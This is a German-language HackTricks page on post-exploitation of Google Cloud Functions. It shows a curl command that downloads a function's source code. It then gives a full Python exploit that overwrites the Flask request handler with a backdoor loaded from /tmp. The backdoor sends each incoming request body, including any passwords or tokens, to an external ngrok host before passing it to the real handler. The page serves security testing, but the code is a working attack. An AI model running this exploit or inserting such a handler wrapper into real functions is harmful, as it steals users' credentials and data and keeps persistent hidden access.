# GCP - Cloud Functions Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Cloud Functions Finden Sie einige Informationen über Cloud Functions in: {{#ref}} ../gcp-services/gcp-cloud-functions-enum.md {{#endref}} ### `cloudfunctions.functions.sourceCodeGet` Mit dieser Berechtigung können Sie eine **signierte URL erhalten, um den Quellcode** der Cloud Function herunterzuladen: ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Steal Cloud Function Requests Wenn die Cloud Function sensible Informationen verwaltet, die Benutzer senden (z. B. Passwörter oder Tokens), könnten Sie mit ausreichenden Berechtigungen den **Quellcode der Funktion ändern und diese Informationen exfiltrieren**. Darüber hinaus verwenden Cloud Functions, die in Python laufen, **flask**, um den Webserver bereitzustellen. Wenn Sie irgendwie eine Code-Injektionsanfälligkeit im Flask-Prozess finden (eine SSTI-Anfälligkeit zum Beispiel), ist es möglich, den **Funktionshandler zu überschreiben**, der die HTTP-Anfragen für eine **bösartige Funktion** empfangen soll, die die **Anfrage exfiltrieren** kann, bevor sie an den legitimen Handler weitergeleitet wird. Zum Beispiel implementiert dieser Code den Angriff: ```python import functions_framework # Some python handler code @functions_framework.http def hello_http(request, last=False, error=""): """HTTP Cloud Function. Args: request (flask.Request): The request object. Returns: The response text, or any set of values that can be turned into a Response object using `make_response` . """ if not last: return injection() else: if error: return error else: return "Hello World!" # Attacker code to inject # Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py new_function = """ def exfiltrate(request): try: from urllib import request as urllib_request req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST") urllib_request.urlopen(req, timeout=0.1) except Exception as e: if not "read operation timed out" in str(e): return str(e) return "" def new_http_view_func_wrapper(function, request): def view_func(path): try: error = exfiltrate(request) return function(request._get_current_object(), last=True, error=error) except Exception as e: return str(e) return view_func """ def injection(): global new_function try: from flask import current_app as app import flask import os import importlib import sys if os.access('/tmp', os.W_OK): new_function_path = "/tmp/function.py" with open(new_function_path, "w") as f: f.write(new_function) os.chmod(new_function_path, 0o777) if not os.path.exists('/tmp/function.py'): return "/tmp/function.py doesn't exists" # Get relevant function names handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default) realpath = os.path.realpath(source_path) # Get full path # Get the modules representations spec_handler = importlib.util.spec_from_file_location("main_handler", realpath) module_handler = importlib.util.module_from_spec(spec_handler) spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py') module_backdoor = importlib.util.module_from_spec(spec_backdoor) # Load the modules inside the app context with app.app_context(): spec_handler.loader.exec_module(module_handler) spec_backdoor.loader.exec_module(module_backdoor) # make the cloud funtion use as handler the new function prev_handler = getattr(module_handler, handler_fname) new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper') app.view_functions["run"] = new_func_wrap(prev_handler, flask.request) return "Injection completed!" except Exception as e: return str(e) ```